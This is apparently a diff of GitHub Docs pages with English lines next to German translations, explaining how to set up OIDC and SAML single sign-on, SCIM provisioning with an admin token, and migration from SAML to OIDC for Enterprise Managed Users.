Du kannst die Lebensdauer einer Sitzung und die Häufigkeit, mit der sich ein {% data variables.enterprise.prodname_managed_user %} bei deinem Identitätsanbieter neu authentifizieren muss, anpassen, indem du die Lebensdauerrichtlinien-Eigenschaft der für {% data variables.product.prodname_dotcom %} von deinem Identitätsanbieter ausgestellten ID-Tokens änderst. Die Standardlebensdauer beträgt eine Stunde. Weitere Informationen findest du unter [Konfigurierbare Tokengültigkeitsdauer in Microsoft Identity Platform](https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes) in der Azure AD-Dokumentation.
{% data reusables.enterprise_user_management.SAML-to-OIDC-migration-for-EMU %}
{% data reusables.enterprise-accounts.oidc-gei-warning %}
## Identity provider support
## Unterstützung für Identitätsanbieter
Support for OIDC is available for customers using Azure Active Directory (Azure AD).
Die Unterstützung für OIDC ist für Kundschaft verfügbar, die Azure Active Directory (Azure AD) verwendet.
Each Azure AD tenant can support only one OIDC integration with {% data variables.product.prodname_emus %}. If you want to connect Azure AD to more than one enterprise on {% data variables.product.prodname_dotcom %}, use SAML instead. For more information, see "[Configuring SAML single sign-on for {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users)."
Jeder Azure AD-Mandant kann nur eine OIDC-Integration mit {% data variables.product.prodname_emus %} unterstützen. Wenn du Azure AD auf {% data variables.product.prodname_dotcom %} mit mehreren Unternehmen verbinden möchtest, verwende stattdessen SAML. Weitere Informationen findest du unter [Konfigurieren von SAML Single Sign-On für {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users).
## Configuring OIDC for Enterprise Managed Users
## Konfigurieren von OIDC für Enterprise Managed Users
1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your new enterprise with the username **@<em>SHORT-CODE</em>_admin**.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.security-tab %}
1. Select **Require OIDC single sign-on**.
![Screenshot showing the "Require OIDC single sign-on" checkbox](/assets/images/help/enterprises/require-oidc.png)
1. To continue setup and be redirected to Azure AD, click **Save**.
{% data reusables.enterprise-accounts.emu-azure-admin-consent %}
{% data reusables.enterprise-accounts.download-recovery-codes %}
1. Melde dich auf {% data variables.product.prodname_dotcom_the_website %} als Setupbenutzer für dein neues Unternehmen mit dem Namen **@<em>KURZCODE</em>_admin** an.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %}
1. Wähle **Einmaliges Anmelden für OIDC anfordern** aus.
![Screenshot des Kontrollkästchens „Einmaliges Anmelden für OIDC anfordern“](/assets/images/help/enterprises/require-oidc.png)
1. Um die Einrichtung fortzusetzen und zu Azure AD umgeleitet zu werden, klicke auf **Speichern**.
{% data reusables.enterprise-accounts.emu-azure-admin-consent %} {% data reusables.enterprise-accounts.download-recovery-codes %}
## Enabling provisioning
## Aktivieren der Bereitstellung
After you enable OIDC SSO, enable provisioning. For more information, see "[Configuring SCIM provisioning for enterprise managed users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)."
Nach der OIDC SSO-Aktivierung kannst du die Bereitstellung aktivieren. Weitere Informationen findest du unter [Konfigurieren der SCIM-Bereitstellung für verwaltete Unternehmensbenutzer](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users).

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Configuring SAML single sign-on for Enterprise Managed Users
title: Konfigurieren von SAML Single Sign-On für verwaltete Enterprise-Benutzer*innen
shortTitle: SAML for managed users
intro: 'You can automatically manage access to your enterprise account on {% data variables.product.prodname_dotcom %} by configuring Security Assertion Markup Language (SAML) single sign-on (SSO).'
intro: 'Du kannst durch Konfigurieren des einmaligen Anmeldens (Single Sign-On, SSO) mit SAML (Security Assertion Markup Language) den Zugriff auf dein Unternehmenskonto auf {% data variables.product.prodname_dotcom %} automatisch verwalten.'
product: '{% data reusables.gated-features.emus %}'
redirect_from:
- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users
@ -15,32 +15,37 @@ topics:
- Authentication
- Enterprise
- SSO
ms.openlocfilehash: d83c6ea74ae6a27fc5f91ebdc5dcae83e0c22eb2
ms.sourcegitcommit: c562c85cc75ffe1eb4e9595d8adc09ec71697ab1
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/22/2022
ms.locfileid: '148180053'
---
## Informationen zu SAML Single Sign-On für {% data variables.product.prodname_emus %}
## About SAML single sign-on for {% data variables.product.prodname_emus %}
Mit {% data variables.product.prodname_emus %} verwendet dein Unternehmen deinen Identitätsanbieter für die Authentifizierung aller Mitglieder. Anstatt sich bei {% data variables.product.prodname_dotcom %} mit einem {% data variables.product.prodname_dotcom %}-Benutzernamen und -Kennwort anzumelden, erfolgt die Anmeldung von Unternehmensmitgliedern über deinen IdP.
With {% data variables.product.prodname_emus %}, your enterprise uses your corporate identity provider to authenticate all members. Instead of signing in to {% data variables.product.prodname_dotcom %} with a {% data variables.product.prodname_dotcom %} username and password, members of your enterprise will sign in through your IdP.
{% data variables.product.prodname_emus %} supports the following IdPs:
{% data variables.product.prodname_emus %} bietet Unterstützung für die folgenden IdP:
{% data reusables.enterprise-accounts.emu-supported-idps %}
After you configure SAML SSO, we recommend storing your recovery codes so you can recover access to your enterprise in the event that your identity provider is unavailable.
Nach der Konfiguration von SAML SSO wird empfohlen, die Wiederherstellungscodes zu speichern, damit du den Zugriff auf dein Unternehmen wiederherstellen kannst, falls dein Identitätsanbieter nicht verfügbar ist.
{% data reusables.enterprise_user_management.SAML-to-OIDC-migration-for-EMU %}
{% note %}
**Note:** When SAML SSO is enabled, the only setting you can update on {% data variables.product.prodname_dotcom %} for your existing SAML configuration is the SAML certificate. If you need to update the Sign on URL or Issuer, you must first disable SAML SSO and then reconfigure SAML SSO with the new settings.
**Hinweis:** Wenn SAML SSO aktiviert ist, ist das SAML-Zertifikat die einzige Einstellung, die du in {% data variables.product.prodname_dotcom %} für deine bestehende SAML-Konfiguration aktualisieren kannst. Wenn du die Anmelde-URL oder den Aussteller aktualisieren musst, musst du zunächst SAML SSO deaktivieren und dann mit den neuen Einstellungen neu konfigurieren.
{% endnote %}
## Configuring SAML single sign-on for {% data variables.product.prodname_emus %}
## Konfigurieren von SAML Single Sign-On für {% data variables.product.prodname_emus %}
To configure SAML SSO for your {% data variables.enterprise.prodname_emu_enterprise %}, you must configure an application on your IdP and then configure your enterprise on GitHub.com. After you configure SAML SSO, you can configure user provisioning.
Du musst eine Anwendung bei deinem Identitätsanbieter und anschließend dein Unternehmen auf GitHub.com konfigurieren, um SAML-SSO für dein {% data variables.enterprise.prodname_emu_enterprise %} zu konfigurieren. Nach der Konfiguration von SAML SSO kannst du die Benutzerbereitstellung konfigurieren.
To install and configure the {% data variables.product.prodname_emu_idp_application %} application on your IdP, you must have a tenant and administrative access on a supported IdP.
Du benötigst einen Mandanten und Administratorzugriff bei einem unterstützten IdP, um die {% data variables.product.prodname_emu_idp_application %}-Anwendung bei deinem IdP zu installieren und zu konfigurieren.
{% note %}
@ -48,73 +53,71 @@ To install and configure the {% data variables.product.prodname_emu_idp_applicat
{% endnote %}
1. [Configuring your identity provider](#configuring-your-identity-provider)
2. [Configuring your enterprise](#configuring-your-enterprise)
3. [Enabling provisioning](#enabling-provisioning)
1. [Konfigurieren des Identitätsanbieters](#configuring-your-identity-provider)
2. [Konfigurieren deines Unternehmens](#configuring-your-enterprise)
3. [Aktivieren der Bereitstellung](#enabling-provisioning)
### Configuring your identity provider
### Konfigurieren des Identitätsanbieters
To configure your IdP, follow the instructions they provide for configuring the {% data variables.product.prodname_emu_idp_application %} application on your IdP.
Befolge die Anweisungen zur Konfiguration der {% data variables.product.prodname_emu_idp_application %}-Anwendung bei deinem IdP, um deinen IdP zu konfigurieren.
1. To install the {% data variables.product.prodname_emu_idp_application %} application, click the link for your IdP below:
1. Klicke auf den Link für den entsprechenden IdP, um die {% data variables.product.prodname_emu_idp_application %}-Anwendung zu installieren:
- [{% data variables.product.prodname_emu_idp_application %} application on Azure Active Directory](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aad.githubenterprisemanageduser?tab=Overview)
- [{% data variables.product.prodname_emu_idp_application %} application on Okta](https://www.okta.com/integrations/github-enterprise-managed-user)
- [{% data variables.product.prodname_emu_idp_application %}-Anwendung in Azure Active Directory](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aad.githubenterprisemanageduser?tab=Overview)
- [{% data variables.product.prodname_emu_idp_application %}-Anwendung in Okta](https://www.okta.com/integrations/github-enterprise-managed-user)
1. To configure the {% data variables.product.prodname_emu_idp_application %} application and your IdP, click the link below and follow the instructions provided by your IdP:
1. Klicke auf den folgenden Link, und befolge die Anweisungen deines IdP, um die {% data variables.product.prodname_emu_idp_application %}-Anwendung und deinen IdP zu konfigurieren:
- [Azure Active Directory tutorial for {% data variables.product.prodname_emus %}](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-tutorial)
- [Okta documentation for {% data variables.product.prodname_emus %}](https://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-GitHub-Enterprise-Managed-User.html)
- [Azure Active Directory-Tutorial für {% data variables.product.prodname_emus %}](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-tutorial)
- [Okta-Dokumentation für {% data variables.product.prodname_emus %}](https://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-GitHub-Enterprise-Managed-User.html)
1. So you can test and configure your enterprise, assign yourself or the user that will be configuring SAML SSO on {% data variables.product.prodname_dotcom %} to the {% data variables.product.prodname_emu_idp_application %} application on your IdP.
1. Damit du dein Unternehmen testen und konfigurieren kannst, musst du dir oder dem Benutzer, der SAML SSO konfiguriert, auf {% data variables.product.prodname_dotcom %} der {% data variables.product.prodname_emu_idp_application %}-Anwendung bei deinem IdP zuweisen.
1. To enable you to continue configuring your enterprise on {% data variables.product.prodname_dotcom %}, locate and note the following information from the application you installed on your IdP:
1. Damit du dein Unternehmen auch weiterhin auf {% data variables.product.prodname_dotcom %} konfigurieren kannst, musst du die folgenden Informationen in der Anwendung suchen, die du bei deinem IdP installiert hast, und diese notieren:
| Value | Other names | Description |
| Wert | Andere Namen | BESCHREIBUNG |
| :- | :- | :- |
| IdP Sign-On URL | Login URL, IdP URL | Application's URL on your IdP |
| IdP Identifier URL | Issuer | IdP's identifier to service providers for SAML authentication |
| Signing certificate, Base64-encoded | Public certificate | Public certificate that IdP uses to sign authentication requests |
| Anmelde-URL des IdP | Anmelde-URL, IdP-URL | Anwendungs-URL bei deinem IdP |
| Bezeichner-URL des IdP | Issuer (Aussteller) | Bezeichner des IdP für Dienstanbieter für die SAML-Authentifizierung |
| Signaturzertifikat, Base64-codiert | Öffentliches Zertifikat | Öffentliches Zertifikat, das der IdP zum Signieren von Authentifizierungsanforderungen verwendet |
### Configuring your enterprise
### Konfigurieren deines Unternehmens
After you install and configure the {% data variables.product.prodname_emu_idp_application %} application on your identity provider, you can configure your enterprise.
Nachdem du die {% data variables.product.prodname_emu_idp_application %}-Anwendung bei deinem Identitätsanbieter installiert und konfiguriert hast, kannst du dein Unternehmen konfigurieren.
1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your new enterprise with the username **@<em>SHORT-CODE</em>_admin**.
1. Melde dich auf {% data variables.product.prodname_dotcom_the_website %} als Setupbenutzer für dein neues Unternehmen mit dem Namen **@<em>KURZCODE</em>_admin** an.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.security-tab %}
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %}
1. Under "SAML single sign-on", select **Require SAML authentication**.
![Checkbox for enabling SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png)
1. Wähle unter „SAML Single Sign-On“ die Option **SAML-Authentifizierung erzwingen** aus.
![Kontrollkästchen zum Aktivieren von SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png)
1. Under **Sign on URL**, type the HTTPS endpoint of your IdP for single sign-on requests that you noted while configuring your IdP.
![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url_business.png)
1. Gib unter **Anmelde-URL** den HTTPS-Endpunkt deines IdP für SSO-Anforderungen an, den du dir bei der Konfiguration des IdP notiert hast.
![Feld für die URL, auf die Mitglieder bei der Anmeldung weitergeleitet werden](/assets/images/help/saml/saml_sign_on_url_business.png)
1. Under **Issuer**, type your SAML issuer URL that you noted while configuring your IdP, to verify the authenticity of sent messages.
![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
1. Gib unter **Aussteller** die SAML-Aussteller-URL ein, die du dir bei der Konfiguration des IdP notiert hast, um die Authentizität gesendeter Nachrichten zu überprüfen.
![Feld für den Namen des SAML-Ausstellers](/assets/images/help/saml/saml_issuer.png)
1. Under **Public Certificate**, paste the certificate that you noted while configuring your IdP, to verify SAML responses.
![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
1. Füge unter **Öffentliches Zertifikat** das Zertifikat ein, das du dir bei der Konfiguration des IdP notiert hast, um SAML-Antworten zu überprüfen.
![Feld für das öffentliche Zertifikat des Identitätsanbieters](/assets/images/help/saml/saml_public_certificate.png)
1. To verify the integrity of the requests from your SAML issuer, click {% octicon "pencil" aria-label="The edit icon" %}. Then, in the "Signature Method" and "Digest Method" drop-downs, choose the hashing algorithm used by your SAML issuer.
![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
1. Um die Integrität der Anforderungen von deinem SAML-Aussteller zu überprüfen, klicke auf {% octicon "pencil" aria-label="The edit icon" %}. Wähle dann in den Dropdownlisten „Signaturmethode“ und „Digestmethode“ den Hashalgorithmus aus, den dein SAML-Aussteller verwendet.
![Dropdownlisten für die Hashalgorithmen der Signaturmethode und Digestmethode, die dein SAML-Aussteller verwendet](/assets/images/help/saml/saml_hashing_method.png)
1. Before enabling SAML SSO for your enterprise, to ensure that the information you've entered is correct, click **Test SAML configuration**. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
1. Klicke auf **SAML-Konfiguration testen**, bevor du SAML SSO für dein Unternehmen aktivierst, um dich zu vergewissern, dass die eingegebenen Informationen korrekt sind. ![Schaltfläche zum Testen der SAML-Konfiguration vor dem Erzwingen](/assets/images/help/saml/saml_test.png)
1. Click **Save**.
1. Klicke auf **Speichern**.
{% note %}
**Note:** When you require SAML SSO for your enterprise, the setup user will no longer have access to the enterprise but will remain signed in to GitHub. Only {% data variables.enterprise.prodname_managed_users %} provisioned by your IdP will have access to the enterprise.
**Hinweis:** Wenn du SAML SSO für dein Unternehmen erzwingst, hat der Setupbenutzer keinen Zugriff mehr auf das Unternehmen, bleibt jedoch bei GitHub angemeldet. Nur {% data variables.enterprise.prodname_managed_users %}, die von deinem Identitätsanbieter bereitgestellt wurden, haben Zugriff auf das Unternehmen.
{% endnote %}
{% data reusables.enterprise-accounts.download-recovery-codes %}
### Enabling provisioning
### Aktivieren der Bereitstellung
After you enable SAML SSO, enable provisioning. For more information, see "[Configuring SCIM provisioning for enterprise managed users](//admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)."
Nach der SAML SSO-Aktivierung kannst du die Bereitstellung aktivieren. Weitere Informationen findest du unter [Konfigurieren der SCIM-Bereitstellung für verwaltete Unternehmensbenutzer](//admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users).

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Configuring SCIM provisioning for Enterprise Managed Users
title: Konfigurieren der SCIM-Bereitstellung für Enterprise Managed Users
shortTitle: Provisioning managed users
intro: You can configure your identity provider to provision new users and manage their membership in your enterprise and teams.
intro: 'Du kannst deinen Identitätsanbieter so konfigurieren, dass neue Benutzer bereitgestellt und ihre Mitgliedschaft in deinem Unternehmen und deinen Teams verwaltet wird.'
product: '{% data reusables.gated-features.emus %}'
redirect_from:
- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users
@ -13,68 +13,66 @@ versions:
topics:
- Accounts
- Enterprise
ms.openlocfilehash: 3cf1f917f0bfd0e02a1b712958f8d72a041b7281
ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/10/2022
ms.locfileid: '148160696'
---
## Informationen zur Bereitstellung für {% data variables.product.prodname_emus %}
## About provisioning for {% data variables.product.prodname_emus %}
Du musst die Bereitstellung für {% data variables.product.prodname_emus %} konfigurieren, um Benutzerkonten für deine Unternehmensmitglieder zu erstellen, zu verwalten und zu deaktivieren.
You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members.
Nachdem du die Bereitstellung für {% data variables.product.prodname_emus %} konfigurierst, werden Benutzer, die der {% data variables.product.prodname_emu_idp_application %}-Anwendung bei deinem Identitätsanbieter zugewiesen wurden, über SCIM als neue {% data variables.enterprise.prodname_managed_users %} auf {% data variables.product.prodname_dotcom %} bereitgestellt, und die {% data variables.enterprise.prodname_managed_users %} werden deinem Unternehmen hinzugefügt. Wenn du der Anwendung eine Gruppe zuweist, werden alle Benutzer innerhalb der Gruppe als neue {% data variables.enterprise.prodname_managed_users %} bereitgestellt.
After you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new {% data variables.enterprise.prodname_managed_users %} on {% data variables.product.prodname_dotcom %} via SCIM, and the {% data variables.enterprise.prodname_managed_users %} are added to your enterprise. If you assign a group to the application, all users within the group will be provisioned as new {% data variables.enterprise.prodname_managed_users %}.
Wenn du die Informationen aktualisierst, die der Identität eines Benutzers auf deinem IdP zugeordnet sind, aktualisiert dein IdP das Konto des Benutzers auf {% data variables.product.prodname_dotcom_the_website %}. Wenn du die Zuweisung eines Benutzers zur {% data variables.product.prodname_emu_idp_application %}-Anwendung aufhebst oder ein Benutzerkonto bei deinem Identitätsanbieter deaktivierst, kommuniziert dein Identitätsanbieter mit {% data variables.product.prodname_dotcom %} so, dass alle Sitzungen ungültig gemacht werden und das Konto des Mitglieds deaktiviert wird. Die Informationen des deaktivierten Kontos werden gespeichert und der Benutzername wird in einen Hash des ursprünglichen Benutzernamens geändert, wobei der Kurzcode angefügt wurde. Wenn du einen Benutzer der {% data variables.product.prodname_emu_idp_application %}-Anwendung neu zuweist oder sein Konto bei deinem IdP reaktivierst, wird das {% data variables.enterprise.prodname_managed_user %} auf {% data variables.product.prodname_dotcom %} reaktiviert und der Benutzername wiederhergestellt.
When you update information associated with a user's identity on your IdP, your IdP will update the user's account on {% data variables.product.prodname_dotcom_the_website %}. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.enterprise.prodname_managed_user %} on {% data variables.product.prodname_dotcom %} will be reactivated and username restored.
Du kannst Gruppen in deinem IdP dazu verwenden, die Mitgliedschaft in Teams innerhalb der Organisationen deines Unternehmens zu verwalten. Dadurch kannst du den Repositoryzugriff und die Berechtigungen über deinen IdP konfigurieren. Weitere Informationen findest du unter [Verwalten von Teammitgliedschaften mit Identitätsanbietergruppen](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups).
Groups in your IdP can be used to manage team membership within your enterprise's organizations, allowing you to configure repository access and permissions through your IdP. For more information, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)."
## Voraussetzungen
## Prerequisites
Ehe du die Bereitstellung für {% data variables.product.prodname_emus %} konfigurieren kannst, musst du SAML{% ifversion oidc-for-emu %} oder OIDC{% endif %} Single Sign-On konfigurieren. {% ifversion oidc-for-emu %}
Before you can configure provisioning for {% data variables.product.prodname_emus %}, you must configure SAML{% ifversion oidc-for-emu %} or OIDC{% endif %} single-sign on. {% ifversion oidc-for-emu %}
- Weitere Informationen zum Konfigurieren von OIDC findest du unter [Konfigurieren von OIDC für Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users).
- {% endif %}Informationen zum Konfigurieren von SAML findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users).
- For more information on configuring OIDC, see "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)"
- {% endif %}For information on configuring SAML, see "[Configuring SAML single sign-on for Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)."
## Erstellen eines {% data variables.product.pat_generic %}
## Creating a {% data variables.product.pat_generic %}
To configure provisioning for your {% data variables.enterprise.prodname_emu_enterprise %}, you need a {% data variables.product.pat_v1 %} with the **admin:enterprise** scope that belongs to the setup user.
Du benötigst ein {% data variables.product.pat_v1 %} mit dem Bereich **admin:enterprise**, das zum Setupbenutzer gehört, um die Bereitstellung für {% data variables.enterprise.prodname_emu_enterprise %} zu konfigurieren.
{% warning %}
**Warning:** If the token expires or a provisioned user creates the token, SCIM provisioning may unexpectedly stop working. Make sure that you create the token while signed in as the setup user and that the token expiration is set to "No expiration".
**Warnung:** Wenn das Token abläuft oder ein bereitgestellter Benutzer das Token erstellt, funktioniert die Bereitstellung mit SCIM möglicherweise unerwartet nicht mehr. Stelle sicher, dass du das Token erstellst, während du als Setupbenutzer angemeldet bist, und dass das Ablaufdatum des Tokens auf „Kein Ablauf“ festgelegt ist.
{% endwarning %}
1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your new enterprise with the username **@<em>SHORT-CODE</em>_admin**.
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.developer_settings %}
{% data reusables.user-settings.personal_access_tokens %}
{% data reusables.user-settings.generate_new_token %}
1. Under **Note**, give your token a descriptive name.
![Screenshot showing the token's name](/assets/images/help/enterprises/emu-pat-name.png)
1. Select the **Expiration** drop-down menu, then click **No expiration**.
![Screenshot showing token expiration set to no expiration](/assets/images/help/enterprises/emu-pat-no-expiration.png)
1. Select the **admin:enterprise** scope.
![Screenshot showing the admin:enterprise scope](/assets/images/help/enterprises/enterprise-pat-scope.png)
1. Click **Generate token**.
![Generate token button](/assets/images/help/settings/generate_token.png)
1. To copy the token to your clipboard, click the {% octicon "paste" aria-label="The copy icon" %}.
![Newly created token](/assets/images/help/settings/personal_access_tokens.png)
2. To save the token for use later, store the new token securely in a password manager.
1. Melde dich auf {% data variables.product.prodname_dotcom_the_website %} als Setupbenutzer für dein neues Unternehmen mit dem Namen **@<em>KURZCODE</em>_admin** an.
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} {% data reusables.user-settings.personal_access_tokens %} {% data reusables.user-settings.generate_new_token %}
1. Gib dem Token unter **Hinweis** einen aussagekräftigen Namen.
![Screenshot, auf dem der Name des Tokens angezeigt wird](/assets/images/help/enterprises/emu-pat-name.png)
1. Wähle das Dropdownmenü **Ablaufdatum** aus, und klicke dann auf **Kein Ablauf**.
![Screenshot, auf dem das Ablaufdatum des Tokens auf „Kein Ablauf“ festgelegt wurde](/assets/images/help/enterprises/emu-pat-no-expiration.png)
1. Wähle den Bereich **admin:enterprise** aus.
![Screenshot, auf dem der Bereich „admin:enterprise“ angezeigt wird](/assets/images/help/enterprises/enterprise-pat-scope.png)
1. Klicke dann auf **Token generieren**.
![Die Schaltfläche „Token generieren“](/assets/images/help/settings/generate_token.png)
1. Klicke auf {% octicon "paste" aria-label="The copy icon" %}, um das Token in deine Zwischenablage zu kopieren.
![Das neu erstellte Token](/assets/images/help/settings/personal_access_tokens.png)
2. Speichere das neue Token sicher in einem Kennwort-Manager, um es später verwenden zu können.
## Configuring provisioning for {% data variables.product.prodname_emus %}
## Konfigurieren der Bereitstellung für {% data variables.product.prodname_emus %}
After creating your {% data variables.product.pat_generic %} and storing it securely, you can configure provisioning on your identity provider.
Nachdem du dein {% data variables.product.pat_generic %} erstellt und sicher gespeichert hast, kannst du die Bereitstellung bei deinem Identitätsanbieter konfigurieren.
{% data reusables.scim.emu-scim-rate-limit %}
To configure provisioning, follow the appropriate link from the table below.
Um die Bereitstellung zu konfigurieren, folge dem entsprechenden Link in der nachstehenden Tabelle.
| Identity provider | SSO method | More information |
|---|---|---|{% ifversion oidc-for-emu %}
| Azure AD | OIDC | [Tutorial: Configure GitHub Enterprise Managed User (OIDC) for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-enterprise-managed-user-oidc-provisioning-tutorial) in the Azure AD documentation |{% endif %}
| Azure AD | SAML | [Tutorial: Configure GitHub Enterprise Managed User for automatic user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-provisioning-tutorial) in the Azure AD documentation |
| Okta | SAML | [Configuring SCIM provisioning for Enterprise Managed Users with Okta](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta) |
| Identitätsanbieter | SSO-Methode | Weitere Informationen | |---|---|---|{% ifversion oidc-for-emu %} | Azure AD | OIDC | [Tutorial: Tutorial: Konfigurieren von GitHub Enterprise Managed User (OIDC) für die automatische Benutzerbereitstellung](https://docs.microsoft.com/azure/active-directory/saas-apps/github-enterprise-managed-user-oidc-provisioning-tutorial) in der Azure AD-Dokumentation |{% endif %} | Azure AD | SAML | [Tutorial: Konfigurieren von GitHub Enterprise Managed User für die automatische Benutzerbereitstellung](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-provisioning-tutorial) in der Azure AD-Dokumentation | | Okta | SAML | [Konfigurieren der SCIM-Bereitstellung für Enterprise Managed Users mit Okta](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta) |
{% note %}
**Note:** Azure AD does not support provisioning nested groups. For more information, see [How Application Provisioning works in Azure Active Directory](https://learn.microsoft.com/en-us/azure/active-directory/app-provisioning/how-provisioning-works#assignment-based-scoping).
**Hinweis:** Azure AD unterstützt die Bereitstellung geschachtelter Gruppen nicht. Weitere Informationen findest du unter [Funktionsweise der Anwendungsbereitstellung in Azure Active Directory](https://learn.microsoft.com/en-us/azure/active-directory/app-provisioning/how-provisioning-works#assignment-based-scoping).
{% endnote %}
{% endnote %}

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Migrating from SAML to OIDC
title: Migrieren von SAML zu OIDC
shortTitle: Migrating from SAML to OIDC
intro: 'If you''re using SAML to authenticate members in your {% data variables.enterprise.prodname_emu_enterprise %}, you can migrate to OpenID Connect (OIDC) and benefit from support for your IdP''s Conditional Access Policy.'
intro: 'Wenn du SAML zum Authentifizieren von Mitgliedern in deinem {% data variables.enterprise.prodname_emu_enterprise %} verwendest, kannst du zu OpenID Connect (OIDC) migrieren und von der Unterstützung der Richtlinie für bedingten Zugriff deines Identitätsanbieters profitieren.'
product: '{% data reusables.gated-features.emus %}'
versions:
feature: oidc-for-emu
@ -10,50 +10,53 @@ topics:
- Authentication
- Enterprise
- SSO
ms.openlocfilehash: 36c93c94bfda1d0ebc951b0a8325691afa0199bb
ms.sourcegitcommit: c562c85cc75ffe1eb4e9595d8adc09ec71697ab1
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/22/2022
ms.locfileid: '148180045'
---
{% data reusables.enterprise-accounts.azure-emu-support-oidc %}
## About migrating your {% data variables.enterprise.prodname_emu_enterprise %} from SAML to OIDC
## Informationen zum Migrieren deines {% data variables.enterprise.prodname_emu_enterprise %} von SAML zu OIDC
If your {% data variables.enterprise.prodname_emu_enterprise %} uses SAML SSO to authenticate with Azure Active Directory (Azure AD), you can migrate to OIDC. {% data reusables.enterprise-accounts.emu-cap-validates %}
Wenn dein {% data variables.enterprise.prodname_emu_enterprise %} SAML-SSO zum Authentifizieren bei Azure Active Directory (Azure AD) verwendet, kannst du zu OIDC migrieren. {% data reusables.enterprise-accounts.emu-cap-validates %}
When you migrate from SAML to OIDC, {% data variables.enterprise.prodname_managed_users %} and groups that were previously provisioned for SAML but are not provisioned by the {% data variables.product.prodname_emu_idp_oidc_application %} application will have "(SAML)" appended to their display names.
Bei der Migration von SAML zu OIDC wird dem Anzeigenamen von {% data variables.enterprise.prodname_managed_users %} und Gruppen, die zuvor für SAML bereitgestellt wurden, aber nicht von der {% data variables.product.prodname_emu_idp_oidc_application %}-Anwendung bereitgestellt werden, der Zusatz „(SAML)“ angehängt.
